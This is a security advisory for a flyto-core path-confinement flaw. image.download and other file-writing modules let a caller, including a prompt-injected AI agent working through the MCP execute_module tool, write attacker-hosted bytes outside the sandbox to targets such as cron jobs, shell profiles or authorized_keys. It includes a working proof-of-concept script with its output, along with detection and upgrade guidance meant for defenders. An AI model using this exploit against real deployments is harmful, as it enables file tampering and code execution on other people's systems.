CVE-2026-67429: Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)

In src/core/modules/atomic/image/download.py, image.download fetches a URL and writes the response to output_path. It confines the path to output_dir with os.path.commonpath, but output_dir is itself a parameter, defaulting to /tmp. Setting output_dir to / passes any target. The central guard validate_path_with_env_config(), which keeps writes inside FLYTO_SANDBOX_DIR, is never called. The file.write module does use it and refuses the same path.

The flaw is wider than one module. image.convert, resize, crop, compress, rotate, watermark, qrcode_generate, document.excel_write, pdf_fill_form, word_to_pdf, pdf_to_word and browser.pagination also wrote to a caller path with no check. Their output must be a valid image or document, but image.download writes arbitrary bytes from an attacker-hosted URL, which passes the SSRF check.

Every non-denylisted module is reachable through the generic execute_module MCP tool, with params chosen by the model, and through the hosted API. So a prompt-injected agent or a remote API client can overwrite config files, shell profiles, cron jobs, authorized_keys or Python modules, which typically leads to code execution.

flyto-core before 2.26.7 (pip package flyto-core), in any deployment where an agent or client can run the file-writing modules above. Check:

pip show flyto-core

Setting FLYTO_SANDBOX_DIR alone did not protect these modules, since they skipped the guard that reads it.

Upgrade to flyto-core 2.26.7:

pip install --upgrade flyto-core==2.26.7

The fix commit routes the output path of the image, document and browser pagination modules through validate_path_with_env_config(), so writes stay inside FLYTO_SANDBOX_DIR and the caller can no longer pick the base. The same commit also covers env-variable reads and env-derived API key forwarding, which have their own advisories. The sources give no other workaround. Keep FLYTO_SANDBOX_DIR set and run the process under a low-privilege account.

Look for image.download or other file-writing module calls in MCP or API logs where output_dir is / or another system directory, or output_path lies outside your sandbox. On disk, check for unexpected recent changes to shell profiles, cron entries, authorized_keys and Python site-packages, and files whose content matches a payload from an external host. Beam records agent MCP tool calls and file access, so execute_module calls with odd paths can be reviewed there.

Summary

image.download fetches a URL and writes the response to disk. It does not use the central path guard (validate_path_with_env_config, which confines writes to FLYTO_SANDBOX_DIR); instead it confines the output to output_dir, but output_dir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.

Affected code

src/core/modules/atomic/image/download.py:

output_path = params.get('output_path')
output_dir  = params.get('output_dir', '/tmp')   # caller-controlled base
...
base_real   = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
    raise Exception('Invalid file path')          # base is attacker-chosen, so always passes
...
content = await response.read()                   # attacker-hosted bytes
with open(target_real, 'wb') as f:
    f.write(content)

commonpath is used correctly, but the base is caller-supplied, so setting output_dir='/' passes any target. file.write, by contrast, uses validate_path_with_env_config() and stays inside FLYTO_SANDBOX_DIR.

This is not isolated to image.download. Most other file-writing modules write to a caller output_path with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.

Reproduction

Save as filewrite_poc.py, run with PYTHONPATH=src/src python filewrite_poc.py. It sets FLYTO_SANDBOX_DIR to a sandbox dir and writes to a sibling directory outside it.

#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"   # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"

class Content(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.send_header("Content-Type", "image/jpeg")
        self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
    def log_message(self, *a): pass

async def run(mid, params):
    from core.modules.registry import ModuleRegistry
    try:
        return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
    except Exception as e:
        return ("EXC", f"{type(e).__name__}: {e}")

async def main():
    from core.modules.atomic import register_all
    register_all()
    threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
    root = tempfile.mkdtemp(prefix="flyto_poc_")
    sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
    escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
    os.environ["FLYTO_SANDBOX_DIR"] = sandbox
    target = os.path.join(escape, "pwned")   # OUTSIDE the sandbox
    print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
    print("B) image.download:", await run("image.download", {
        "url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
    print("file written outside sandbox?", os.path.exists(target))
    if os.path.exists(target):
        print("content:", open(target, "rb").read())

if __name__ == "__main__":
    asyncio.run(main())

Output:

A) file.write:     ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...})
file written outside sandbox? True
content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n'

file.write refuses the out-of-sandbox path; image.download writes attacker bytes there. Reproduced through the running HTTP API as well.

Reachability (why this is not operator self-service)

output_dir, output_path and url are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic execute_module(module_id, params) MCP tool (core/mcp_handler.py, params taken from the model's arguments) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. FLYTO_SANDBOX_DIR and the guard file.write uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.

Impact

Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or authorized_keys, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).

Suggested fix

Use validate_path_with_env_config() for every module that writes files, so all writes are confined to FLYTO_SANDBOX_DIR (a base the caller cannot change), never to a caller-supplied output_dir.